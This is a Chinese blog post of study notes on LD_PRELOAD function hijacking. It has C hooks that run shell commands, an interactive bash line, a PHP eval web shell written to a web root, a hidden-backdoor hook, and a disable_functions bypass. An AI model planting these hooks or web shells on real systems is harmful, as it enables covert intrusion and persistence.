LD_PRELOAD劫持

学习文章

用命令readelf -Ws /usr/bin/ls看linux命令中执行了调用了哪些函数,然后再劫持这些函数

可能实现中有,但是执行时没用到, 所以多劫持几个试试

ls –> strncmp
whoami –> puts

man 3 strncmp 可以看到函数定义

防止无穷递归

1
2
3
4
5
6
7
8
int strncmp(const char *s1, const char *s2, size_t n){
if(getenv("LD_PRELOAD") == NULL){
return 0;
}
unsetenv("LD_PRELOAD");
system("ls");
return 0;
}

奇怪的错误

报segmentation fault

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <stdlib.h>

int puts(const char *message) {
system("/bin/bash -i ...")
printf("hacked!!!"); // printf("hacked!!!\n"); 报错!!
return 0;
}
// ----------- or -----
#include <stdio.h>
#include <stdlib.h>

int puts(const char *message) {
printf("hack you!!!");
system("echo '<?php @eval($_POST[0]);?>' > /var/www/html/gxngxngxn.php");
return 0;
}

去掉\n后又可以了
(神奇的gpt告诉我是因为printf中调用了puts, 所以递归爆栈了, \n与刷新缓冲区有关… 管他呢)

getenv也会调用puts,所以用上面的方法也不行

可以用static int flag作为标记,防止递归调用, 见下例

隐匿后门

1
2
3
4
5
6
7
8
9
10
11
12
13
int puts(const char *s) {
int (*original_puts)(const char *) = dlsym(RTLD_NEXT, "puts");
int result = original_puts(s);
static int in_hook = 0;
if (in_hook) { // 防止递归调用
return result;
}
in_hook = 1;
printf("puts hooked!\n");
system("ls");
in_hook = 0;
return result;
}

(爱来自gpt)
可以使得原来的命令正常执行,用于后门隐匿

.so 文件加载触发

1
2
3
4
5
6
7
8
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
printf("i am hacker!!\n");
}

突破disable_function

disable_function只在当前进程生效
mail 或 error_log函数产生一个新进程, 并执行了getuid函数
劫持getuid函数 或 采用加载触发即可


LD_PRELOAD劫持
http://mekrina.github.io/blogs/uncategorized/ld-preload劫持/
作者
John Doe
发布于
2025年1月20日
许可协议